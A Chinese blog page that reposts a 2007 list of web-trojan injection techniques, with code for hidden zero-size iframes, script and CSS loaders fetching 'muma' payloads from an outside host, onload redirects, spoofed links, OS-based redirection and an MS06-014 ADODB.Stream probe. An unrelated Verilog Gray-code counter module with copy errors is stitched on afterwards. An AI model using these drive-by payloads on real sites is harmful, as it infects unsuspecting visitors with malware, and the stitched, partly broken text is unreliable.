temp3

挂马方式和系统判断等代码

http://www.hackbase.com 2007-7-28 黑客基地
 
一:框架挂马
<iframe src=地址 width=0 height=0></iframe>
 
二:js文件挂马
首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js,
则JS挂马代码为
<script language=javascript src=xxx.js></script>
 
三:js变形加密
<SCRIPT language="JScript.Encode" src=http://www.upx.com.cn/muma.txt></script>
muma.txt可改成任意后缀
 
四:body挂马
<body onload="window.location='地址';"></body>
 
五:隐蔽挂马
top.document.body.innerHTML = top.document.body.innerHTML + '/r/n<iframe src=" http://www.upx.com.cn/muma.htm/"></iframe>';
 
六:css中挂马
body {
background-image: url('javascript:document.write("<script src=http://www.upx.com.cn/muma.js></script>")')}
 
七:JAJA挂马
<SCRIPT language=javascript>
window.open ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
</script>
 
八:图片伪装
<html>
<iframe src="网马地址" height=0 width=0></iframe>
<img src="图片地址"></center>
</html>
 
九:伪装调用:
<frameset rows="444,0" cols="*">
<frame src="打开网页" framborder="no" scrolling="auto" noresize marginwidth="0"margingheight="0">
<frame src="网马地址" frameborder="no" scrolling="no" noresize marginwidth="0"margingheight="0">
</frameset>
 
十:高级欺骗
<a href=" http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
 
十一:判断系统代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<META content="MSHTML 6.00.2900.2769" name=GENERATOR></HEAD>
<BODY>
<SCRIPT language=javascript>
window.status="";
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
window.location.href="tk.htm";
else
window.location.href="upx06014.htm";
</SCRIPT>
</BODY></HTML>
 
十二:判断是否有ms06014代码
<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src=http://upx.com.cn width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
 
十三:智能读取js的代码demo
//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=/" http://www.upx.com.cn/1/"+u_num+".htm/" width=/"0/" height=/"0/" frameborder=/"0/"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC /"-////W3C////DTD HTML 4.0 Transitional////EN/">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=/"text//html; charset=big5/">");
document.writeln("<META content=/"MSHTML 6.00.2900.3059/" name=GENERATOR><//HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=/"CURSOR: url(/'http:////www.upx.com.cn//demo.js/')/">");
document.writeln("<DIV ");
document.writeln("style=/"CURSOR: url(/'http:////www.upx.com.cn//demo.js/')/"><//DIV><//DIV><//BODY><//HTML>")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm = loallPm[i].split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
}
 
module ecnt( //input RST_N,//内部设置 input inclk0, // 加入 PLL 输入时钟信号 input start_in, output start, output reg [11:0] result1, output reg [11:0] result2, output reg [11:0] result3, output reg [11:0] result4, output reg [11:0] result5, output reg [11:0] result6 ); wire locked; wire clk_pulse1; wire clk_pluse2; //IP核设置 相位180° reg gate1; reg gate2; reg gate3; reg [2:0] edge_cnt; reg [11:0] result_cnt1; reg [11:0] result_cnt_temp1; reg [11:0] result_cnt2; reg [11:0] result_cnt_temp2; reg [11:0] result_cnt3; reg [11:0] result_cnt_temp3; //反向计数器 reg [11:0] result_cnt4; reg [11:0] result_cnt_temp4; reg [11:0] result_cnt5; reg [11:0] result_cnt_temp5; reg [11:0] result_cnt6; reg [11:0] result_cnt_temp6; reg [19:0] cnt; wire sys_rst_n; assign sys_rst_n = 1&#39;b1; assign rst_n = sys_rst_n & locked; plle_0002 u_PLLE ( .refclk (inclk0), // refclk.clk .rst (~sys_rst_n), // reset.reset .outclk_0 (clk_pulse1), // 193M .outclk_1 (clk_pulse2),// 193M-相位180° .locked (locked) // locked.export ); pll_test_0002 u_pll_test ( .refclk (inclk0), // refclk.clk .rst (~sys_rst_n), // reset.reset .outclk_0 (c_test) // outclk0.clk //.locked (locked_test) // locked.export ); localparam start_r_time = 20&#39;d200; // 200x5=1000ns localparam start_d_time = 20&#39;d400; // 400x5=2000ns-1000ns localparam cnt_time = 20&#39;d10000; // 70000x5=350000ns=3.5ms assign start = (cnt >= start_r_time && cnt <= start_d_time) ? 1&#39;b1 : 1&#39;b0; always @(posedge clk_pulse1 or negedge rst_n) begin if(!rst_n) cnt <= 20&#39;d0; else if (cnt == cnt_time) cnt <= 20&#39;d0; else cnt <= cnt + 1&#39;b1; end always @(posedge start_in or negedge rst_n)begin if(rst_n == 1&#39;b0)begin gate1 <= 1&#39;b0; gate2 <= 1&#39;b0; gate3 <= 1&#39;b0; //start<=1&#39;b0; edge_cnt <= 3&#39;b000; end else if (start)begin gate1<=1&#39;b0; gate2<=1&#39;b0; gate3 <= 1&#39;b0; edge_cnt<=3&#39;b001; end else if ((start_in)&&(edge_cnt==3&#39;b001))begin gate1<=1&#39;b1; gate2<=1&#39;b0; gate3 <= 1&#39;b0; edge_cnt<=edge_cnt+3&#39;b001; end else if ((start_in)&&(edge_cnt==3&#39;b010))begin gate1<=1&#39;b0; gate2<=1&#39;b1; gate3 <= 1&#39;b0; edge_cnt<=edge_cnt+3&#39;b001; end else if ((start_in)&&(edge_cnt==3&#39;b011))begin gate1<=1&#39;b0; gate2<=1&#39;b0; gate3 <= 1&#39;b1; edge_cnt<=edge_cnt+3&#39;b001; end else if ((start_in)&&(edge_cnt==3&#39;b100))begin gate1<=1&#39;b0; gate2<=1&#39;b0; gate3 <= 1&#39;b0; edge_cnt<=3&#39;b000; end end //格雷码计数器 reg [11:0] NextCnt1; reg [11:0] tmpCnt1; integer k; always @(posedge clk_pulse1 or negedge rst_n) begin if(!rst_n)begin result_cnt_temp1 <= 12&#39;b0; result_cnt1 <= 12&#39;b0; end else if(gate1) result_cnt_temp1 <= NextCnt1;//到下一个时钟的上升沿 else begin result_cnt1 <= result_cnt_temp1; result_cnt_temp1 <= 12&#39;b0; end end always @(result_cnt_temp1) begin tmpCnt1[11] = result_cnt_temp1[11]; for(k = 10; k >= 0; k = k - 1) tmpCnt1[k] = result_cnt_temp1[k] ^ tmpCnt1[k+1]; if(tmpCnt1[0] == 1&#39;b0) begin NextCnt1[0] = ~result_cnt_temp1[0]; NextCnt1[11:1] = result_cnt_temp1[11:1]; end else if(tmpCnt1[1] == 1&#39;b0) begin NextCnt1[0] = result_cnt_temp1[0]; NextCnt1[1] = ~result_cnt_temp1[1]; NextCnt1[11:2] = result_cnt_temp1[11:2]; end else if(tmpCnt1[2] == 1&#39;b0) begin NextCnt1[1:0] = result_cnt_temp1[1:0]; NextCnt1[2] = ~result_cnt_temp1[2]; NextCnt1[11:3] = result_cnt_temp1[11:3]; end else if(tmpCnt1[3] == 1&#39;b0) begin NextCnt1[2:0] = result_cnt_temp1[2:0]; NextCnt1[3] = ~result_cnt_temp1[3]; NextCnt1[11:4] = result_cnt_temp1[11:4]; end else if(tmpCnt1[4] == 1&#39;b0) begin NextCnt1[3:0] = result_cnt_temp1[3:0]; NextCnt1[4] = ~result_cnt_temp1[4]; NextCnt1[11:5] = result_cnt_temp1[11:5]; end else if(tmpCnt1[5] == 1&#39;b0) begin NextCnt1[4:0] = result_cnt_temp1[4:0]; NextCnt1[5] = ~result_cnt_temp1[5]; NextCnt1[11:6] = result_cnt_temp1[11:6]; end else if(tmpCnt1[6] == 1&#39;b0) begin NextCnt1[5:0] = result_cnt_temp1[5:0]; NextCnt1[6] = ~result_cnt_temp1[6]; NextCnt1[11:7] = result_cnt_temp1[11:7]; end else if(tmpCnt1[7] == 1&#39;b0) begin NextCnt1[6:0] = result_cnt_temp1[6:0]; NextCnt1[7] = ~result_cnt_temp1[7]; NextCnt1[11:8] = result_cnt_temp1[11:8]; end else if(tmpCnt1[8] == 1&#39;b0) begin NextCnt1[7:0] = result_cnt_temp1[7:0]; NextCnt1[8] = ~result_cnt_temp1[8]; NextCnt1[11:9] = result_cnt_temp1[11:9]; end else if(tmpCnt1[9] == 1&#39;b0) begin NextCnt1[8:0] = result_cnt_temp1[8:0]; NextCnt1[9] = ~result_cnt_temp1[9]; NextCnt1[11:10] = result_cnt_temp1[11:10]; end else if(tmpCnt1[10] == 1&#39;b0) begin NextCnt1[9:0] = result_cnt_temp1[9:0]; NextCnt1[10] = ~result_cnt_temp1[10]; NextCnt1[11] = result_cnt_temp1[11]; end else begin NextCnt1[10:0] = result_cnt_temp1[10:0]; NextCnt1[11] = ~result_cnt_temp1[11]; end end //计数第二个gate reg [11:0] NextCnt2; reg [11:0] tmpCnt2; always @(posedge clk_pulse1 or negedge rst_n) begin if(!rst_n)begin result_cnt_temp2 <= 12&#39;b0; result_cnt2 <= 12&#39;b0; end else if(gate2) result_cnt_temp2 <= NextCnt2;//到下一个时钟的上升沿 else begin result_cnt2 <= result_cnt_temp2; result_cnt_temp2 <= 12&#39;b0; end end always @( result_cnt_temp2 ) begin tmpCnt2[11] = result_cnt_temp2[11]; for( k=10; k>=0; k=k-1 ) tmpCnt2[k] = result_cnt_temp2[k] ^ tmpCnt2[k+1]; if( tmpCnt2[0]==1&#39;b0 ) begin NextCnt2[0] = ~result_cnt_temp2[0]; NextCnt2[11:1] = result_cnt_temp2[11:1]; end else if( tmpCnt2[1]==1&#39;b0 ) begin NextCnt2[0] = result_cnt_temp2[0]; NextCnt2[1] = ~result_cnt_temp2[1]; NextCnt2[11:2] = result_cnt_temp2[11:2]; end else if( tmpCnt2[2]==1&#39;b0 ) begin NextCnt2[1:0] = result_cnt_temp2[1:0]; NextCnt2[2] = ~result_cnt_temp2[2]; NextCnt2[11:3] = result_cnt_temp2[11:3]; end else if( tmpCnt2[3]==1&#39;b0 ) begin NextCnt2[2:0] = result_cnt_temp2[2:0]; NextCnt2[3] = ~result_cnt_temp2[3]; NextCnt2[11:4] = result_cnt_temp2[11:4]; end else if( tmpCnt2[4]==1&#39;b0 ) begin NextCnt2[3:0] = result_cnt_temp2[3:0]; NextCnt2[4] = ~result_cnt_temp2[4]; NextCnt2[11:5] = result_cnt_temp2[11:5]; end else if(tmpCnt2[5]==1&#39;b0 ) begin NextCnt2[4:0] = result_cnt_temp2[4:0]; NextCnt2[5] = ~result_cnt_temp2[5]; NextCnt2[11:6] = result_cnt_temp2[11:6]; end else if(tmpCnt2[6]==1&#39;b0 ) begin NextCnt2[5:0] = result_cnt_temp2[5:0]; NextCnt2[6] = ~result_cnt_temp2[6]; NextCnt2[11:7] = result_cnt_temp2[11:7]; end else if (tmpCnt2[7]==1&#39;b0) begin NextCnt2[6:0] = result_cnt_temp2[6:0]; NextCnt2[7] = ~result_cnt_temp2[7]; NextCnt2[11:8] = result_cnt_temp2[11:8]; end else if (tmpCnt2[8]==1&#39;b0) begin NextCnt2[7:0] = result_cnt_temp2[7:0]; NextCnt2[8] = ~result_cnt_temp2[8]; NextCnt2[11:9] = result_cnt_temp2[11:9]; end else if (tmpCnt2[9]==1&#39;b0) begin NextCnt2[8:0] = result_cnt_temp2[8:0]; NextCnt2[9] = ~result_cnt_temp2[9]; NextCnt2[11:10] = result_cnt_temp2[11:10]; end else begin NextCnt2[10:0] = result_cnt_temp2[10:0]; NextCnt2[11] = ~result_cnt_temp2[11]; end end //计数第三个gate reg [11:0] NextCnt3; reg [11:0] tmpCnt3; always @(posedge clk_pulse1 or negedge rst_n) begin if(!rst_n)begin result_cnt_temp3 <= 12&#39;b0; result_cnt3 <= 12&#39;b0; end else if(gate3) result_cnt_temp3 <= NextCnt3;//到下一个时钟的上升沿 else begin result_cnt3 <= result_cnt_temp3; result_cnt_temp3 <= 12&#39;b0; end end always @( result_cnt_temp3 ) begin tmpCnt3[11] = result_cnt_temp3[11]; for( k=10; k>=0; k=k-1 ) tmpCnt3[k] = result_cnt_temp3[k] ^ tmpCnt3[k+1]; if( tmpCnt3[0]==1&#39;b0 ) begin NextCnt3[0] = ~result_cnt_temp3[0]; NextCnt3[11:1] = result_cnt_temp3[11:1]; end else if( tmpCnt3[1]==1&#39;b0 ) begin NextCnt3[0] = result_cnt_temp3[0]; NextCnt3[1] = ~result_cnt_temp3[1]; NextCnt3[11:2] = result_cnt_temp3[11:2]; end else if( tmpCnt3[2]==1&#39;b0 ) begin NextCnt3[1:0] = result_cnt_temp3[1:0]; NextCnt3[2] = ~result_cnt_temp3[2]; NextCnt3[11:3] = result_cnt_temp3[11:3]; end else if( tmpCnt3[3]==1&#39;b0 ) begin NextCnt3[2:0] = result_cnt_temp3[2:0]; NextCnt3[3] = ~result_cnt_temp3[3]; NextCnt3[11:4] = result_cnt_temp3[11:4]; end else if( tmpCnt3[4]==1&#39;b0 ) begin NextCnt3[3:0] = result_cnt_temp3[3:0]; NextCnt3[4] = ~result_cnt_temp3[4]; NextCnt3[11:5] = result_cnt_temp3[11:5]; end else if(tmpCnt3[5]==1&#39;b0 ) begin NextCnt3[4:0] = result_cnt_temp3[4:0]; NextCnt3[5] = ~result_cnt_temp3[5]; NextCnt3[11:6] = result_cnt_temp3[11:6]; end else if(tmpCnt3[6]==1&#39;b0 ) begin NextCnt3[5:0] = result_cnt_temp3[5:0]; NextCnt3[6] = ~result_cnt_temp3[6]; NextCnt3[11:7] = result_cnt_temp3[11:7]; end else if (tmpCnt3[7]==1&#39;b0) begin NextCnt3[6:0] = result_cnt_temp3[6:0]; NextCnt3[7] = ~result_cnt_temp3[7]; NextCnt3[11:8] = result_cnt_temp3[11:8]; end else if (tmpCnt3[8]==1&#39;b0) begin NextCnt3[7:0] = result_cnt_temp3[7:0]; NextCnt3[8] = ~result_cnt_temp3[8]; NextCnt3[11:9] = result_cnt_temp3[11:9]; end else if (tmpCnt3[9]==1&#39;b0) begin NextCnt3[8:0] = result_cnt_temp3[8:0]; NextCnt3[9] = ~result_cnt_temp3[9]; NextCnt3[11:10] = result_cnt_temp3[11:10]; end else begin NextCnt3[10:0] = result_cnt_temp3[10:0]; NextCnt3[11] = ~result_cnt_temp3[11]; end end //把格雷码计数结果转为二进制码 reg [11:0] result_cnt1_b; reg [11:0] result_cnt2_b; reg [11:0] result_cnt3_b; always @(result_cnt_temp1) begin result_cnt1_b[11] = result_cnt_temp1[11]; for(k = 10; k >= 0; k = k - 1) result_cnt1_b[k] = result_cnt_temp1[k] ^ result_cnt1_b[k+1]; end always @( result_cnt_temp2 )begin result_cnt2_b[11] = result_cnt_temp2[11]; for( k=10; k>=0; k=k-1 ) result_cnt2_b[k] = result_cnt_temp2[k] ^ result_cnt2_b[k+1]; end always @( result_cnt_temp3 )begin result_cnt3_b[11] = result_cnt_temp3[11]; for( k=10; k>=0; k=k-1 ) result_cnt3_b[k] = result_cnt_temp3[k] ^ result_cnt3_b[k+1]; end //计算start和stop脉冲的间隔时间 always @(posedge clk_pulse1 or negedge rst_n) begin if(!rst_n) result1 <= 12&#39;b0; else if(result_cnt1_b) result1 <= result_cnt1_b ; end always @(posedge clk_pulse1 or negedge rst_n) begin if(!rst_n) result2 <= 12&#39;b0; else if(result_cnt2_b) result2 <= result_cnt2_b ; end always @(posedge clk_pulse1 or negedge rst_n) begin if(!rst_n) result3 <= 12&#39;b0; else if(result_cnt2_b) result3 <= result_cnt3_b ; end //反相计数器第一个gate //格雷码计数器 reg [11:0] NextCnt4; reg [11:0] tmpCnt4; always @(posedge clk_pulse2 or negedge rst_n) begin if(!rst_n)begin result_cnt_temp4 <= 12&#39;b0; result_cnt4 <= 12&#39;b0; end else if(gate1) result_cnt_temp4 <= NextCnt4;//到下一个时钟的上升沿 else begin result_cnt4 <= result_cnt_temp4; result_cnt_temp4 <= 12&#39;b0; end end always @(result_cnt_temp4) begin tmpCnt4[11] = result_cnt_temp4[11]; for(k = 10; k >= 0; k = k - 1) tmpCnt4[k] = result_cnt_temp4[k] ^ tmpCnt4[k+1]; if( tmpCnt4[0]==1&#39;b0 )begin NextCnt4[0] = ~result_cnt_temp4[0]; NextCnt4[11:1] = result_cnt_temp4[11:1]; end else if(tmpCnt4[1] == 1&#39;b0) begin NextCnt4[0] = result_cnt_temp4[0]; NextCnt4[1] = ~result_cnt_temp4[1]; NextCnt4[11:2] = result_cnt_temp4[11:2]; end else if(tmpCnt4[2] == 1&#39;b0) begin NextCnt4[1:0] = result_cnt_temp4[1:0]; NextCnt4[2] = ~result_cnt_temp4[2]; NextCnt4[11:3] = result_cnt_temp4[11:3]; end else if(tmpCnt4[3] == 1&#39;b0) begin NextCnt4[2:0] = result_cnt_temp4[2:0]; NextCnt4[3] = ~result_cnt_temp4[3]; NextCnt4[11:4] = result_cnt_temp4[11:4]; end else if(tmpCnt4[4] == 1&#39;b0) begin NextCnt4[3:0] = result_cnt_temp4[3:0]; NextCnt4[4] = ~result_cnt_temp4[4]; NextCnt4[11:5] = result_cnt_temp4[11:5]; end else if(tmpCnt4[5] == 1&#39;b0) begin NextCnt4[4:0] = result_cnt_temp4[4:0]; NextCnt4[5] = ~result_cnt_temp4[5]; NextCnt4[11:6] = result_cnt_temp4[11:6]; end else if(tmpCnt4[6] == 1&#39;b0) begin NextCnt4[5:0] = result_cnt_temp4[5:0]; NextCnt4[6] = ~result_cnt_temp4[6]; NextCnt4[11:7] = result_cnt_temp4[11:7]; end else if(tmpCnt4[7] == 1&#39;b0) begin NextCnt4[6:0] = result_cnt_temp4[6:0]; NextCnt4[7] = ~result_cnt_temp4[7]; NextCnt4[11:8] = result_cnt_temp4[11:8]; end else if(tmpCnt4[8] == 1&#39;b0) begin NextCnt4[7:0] = result_cnt_temp4[7:0]; NextCnt4[8] = ~result_cnt_temp4[8]; NextCnt4[11:9] = result_cnt_temp4[11:9]; end else if(tmpCnt4[9] == 1&#39;b0) begin NextCnt4[8:0] = result_cnt_temp4[8:0]; NextCnt4[9] = ~result_cnt_temp4[9]; NextCnt4[11:10] = result_cnt_temp4[11:10]; end else if(tmpCnt4[10] == 1&#39;b0) begin NextCnt4[9:0] = result_cnt_temp4[9:0]; NextCnt4[10] = ~result_cnt_temp4[10]; NextCnt4[11] = result_cnt_temp4[11]; end else begin NextCnt4[10:0] = result_cnt_temp4[10:0]; NextCnt4[11] = ~result_cnt_temp4[11]; end end //反向计数第二个gate reg [11:0] NextCnt5; reg [11:0] tmpCnt5; always @(posedge clk_pulse2 or negedge rst_n) begin if(!rst_n)begin result_cnt_temp5 <= 12&#39;b0; result_cnt5<= 12&#39;b0; end else if(gate2) result_cnt_temp5 <= NextCnt5;//到下一个时钟的上升沿 else begin result_cnt5 <= result_cnt_temp5; result_cnt_temp5 <= 12&#39;b0; end end always @( result_cnt_temp5 ) begin tmpCnt5[11] = result_cnt_temp5[11]; for( k=10; k>=0; k=k-1 ) tmpCnt5[k] = result_cnt_temp5[k] ^ tmpCnt5[k+1]; if( tmpCnt5[0]==1&#39;b0 )begin NextCnt5[0] = ~result_cnt_temp5[0]; NextCnt5[11:1] = result_cnt_temp5[11:1]; end else if( tmpCnt2[1]==1&#39;b0 ) begin NextCnt5[0] = result_cnt_temp5[0]; NextCnt5[1] = ~result_cnt_temp5[1]; NextCnt5[11:2] = result_cnt_temp5[11:2]; end else if( tmpCnt5[2]==1&#39;b0 ) begin NextCnt5[1:0] = result_cnt_temp5[1:0]; NextCnt5[2] = ~result_cnt_temp5[2]; NextCnt5[11:3] = result_cnt_temp5[11:3]; end else if( tmpCnt5[3]==1&#39;b0 ) begin NextCnt5[2:0] = result_cnt_temp5[2:0]; NextCnt5[3] = ~result_cnt_temp5[3]; NextCnt5[11:4] = result_cnt_temp5[11:4]; end else if( tmpCnt5[4]==1&#39;b0 ) begin NextCnt5[3:0] = result_cnt_temp5[3:0]; NextCnt5[4] = ~result_cnt_temp5[4]; NextCnt5[11:5] = result_cnt_temp5[11:5]; end else if(tmpCnt5[5]==1&#39;b0 ) begin NextCnt5[4:0] = result_cnt_temp5[4:0]; NextCnt5[5] = ~result_cnt_temp5[5]; NextCnt5[11:6] = result_cnt_temp5[11:6]; end else if(tmpCnt5[6]==1&#39;b0 ) begin NextCnt5[5:0] = result_cnt_temp5[5:0]; NextCnt5[6] = ~result_cnt_temp5[6]; NextCnt5[11:7] = result_cnt_temp5[11:7]; end else if (tmpCnt5[7]==1&#39;b0) begin NextCnt5[6:0] = result_cnt_temp5[6:0]; NextCnt5[7] = ~result_cnt_temp5[7]; NextCnt5[11:8] = result_cnt_temp5[11:8]; end else if (tmpCnt5[8]==1&#39;b0) begin NextCnt5[7:0] = result_cnt_temp5[7:0]; NextCnt5[8] = ~result_cnt_temp5[8]; NextCnt5[11:9] = result_cnt_temp5[11:9]; end else if (tmpCnt5[9]==1&#39;b0) begin NextCnt5[8:0] = result_cnt_temp5[8:0]; NextCnt5[9] = ~result_cnt_temp5[9]; NextCnt5[11:10] = result_cnt_temp5[11:10]; end else begin NextCnt5[10:0] = result_cnt_temp5[10:0]; NextCnt5[11] = ~result_cnt_temp5[11]; end end //反向计数第三个gate reg [11:0] NextCnt6; reg [11:0] tmpCnt6; always @(posedge clk_pulse2 or negedge rst_n) begin if(!rst_n)begin result_cnt_temp6 <= 12&#39;b0; result_cnt6<= 12&#39;b0; end else if(gate3) result_cnt_temp6 <= NextCnt6;//到下一个时钟的上升沿 else begin result_cnt6 <= result_cnt_temp6; result_cnt_temp6 <= 12&#39;b0; end end always @( result_cnt_temp6 ) begin tmpCnt6[11] = result_cnt_temp6[11]; for( k=10; k>=0; k=k-1 ) tmpCnt6[k] = result_cnt_temp6[k] ^ tmpCnt6[k+1]; if( tmpCnt6[0]==1&#39;b0 ) begin NextCnt6[0] = ~result_cnt_temp6[0]; NextCnt6[11:1] = result_cnt_temp6[11:1]; end else if( tmpCnt6[1]==1&#39;b0 ) begin NextCnt6[0] = result_cnt_temp6[0]; NextCnt6[1] = ~result_cnt_temp6[1]; NextCnt6[11:2] = result_cnt_temp6[11:2]; end else if( tmpCnt6[2]==1&#39;b0 ) begin NextCnt6[1:0] = result_cnt_temp6[1:0]; NextCnt6[2] = ~result_cnt_temp6[2]; NextCnt6[11:3] = result_cnt_temp6[11:3]; end else if( tmpCnt6[3]==1&#39;b0 ) begin NextCnt6[2:0] = result_cnt_temp6[2:0]; NextCnt6[3] = ~result_cnt_temp6[3]; NextCnt6[11:4] = result_cnt_temp6[11:4]; end else if( tmpCnt6[4]==1&#39;b0 ) begin NextCnt6[3:0] = result_cnt_temp6[3:0]; NextCnt6[4] = ~result_cnt_temp6[4]; NextCnt6[11:5] = result_cnt_temp6[11:5]; end else if(tmpCnt6[5]==1&#39;b0 ) begin NextCnt6[4:0] = result_cnt_temp6[4:0]; NextCnt6[5] = ~result_cnt_temp6[5]; NextCnt6[11:6] = result_cnt_temp6[11:6]; end else if(tmpCnt6[6]==1&#39;b0 ) begin NextCnt6[5:0] = result_cnt_temp6[5:0]; NextCnt6[6] = ~result_cnt_temp6[6]; NextCnt6[11:7] = result_cnt_temp6[11:7]; end else if (tmpCnt6[7]==1&#39;b0) begin NextCnt6[6:0] = result_cnt_temp6[6:0]; NextCnt6[7] = ~result_cnt_temp6[7]; NextCnt6[11:8] = result_cnt_temp6[11:8]; end else if (tmpCnt6[8]==1&#39;b0) begin NextCnt6[7:0] = result_cnt_temp6[7:0]; NextCnt6[8] = ~result_cnt_temp6[8]; NextCnt6[11:9] = result_cnt_temp6[11:9]; end else if (tmpCnt6[9]==1&#39;b0) begin NextCnt6[8:0] = result_cnt_temp6[8:0]; NextCnt6[9] = ~result_cnt_temp6[9]; NextCnt6[11:10] = result_cnt_temp6[11:10]; end else begin NextCnt6[10:0] = result_cnt_temp6[10:0]; NextCnt6[11] = ~result_cnt_temp6[11]; end end //把格雷码计数结果转为二进制码 reg [11:0] result_cnt4_b; reg [11:0] result_cnt5_b; reg [11:0] result_cnt6_b; always @(result_cnt_temp4) begin result_cnt4_b[11] = result_cnt_temp4[11]; for(k = 10; k >= 0; k = k - 1) result_cnt4_b[k] = result_cnt_temp4[k] ^ result_cnt4_b[k+1]; end always @( result_cnt_temp5 )begin result_cnt5_b[11] = result_cnt_temp5[11]; for( k=10; k>=0; k=k-1 ) result_cnt5_b[k] = result_cnt_temp5[k] ^ result_cnt5_b[k+1]; end always @( result_cnt_temp6 )begin result_cnt6_b[11] = result_cnt_temp6[11]; for( k=10; k>=0; k=k-1 ) result_cnt6_b[k] = result_cnt_temp6[k] ^ result_cnt6_b[k+1]; end //计算start和stop脉冲的间隔时间 always @(posedge clk_pulse2 or negedge rst_n) begin if(!rst_n) result4 <= 12&#39;b0; else if(result_cnt4_b) result4 <= result_cnt1_b ; end always @(posedge clk_pulse2 or negedge rst_n) begin if(!rst_n) result5 <= 12&#39;b0; else if(result_cnt2_b) result5 <= result_cnt5_b ; end always @(posedge clk_pulse2 or negedge rst_n) begin if(!rst_n) result6 <= 12&#39;b0; else if(result_cnt2_b) result6 <= result_cnt6_b ; end endmodule
最新发布
06-07
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值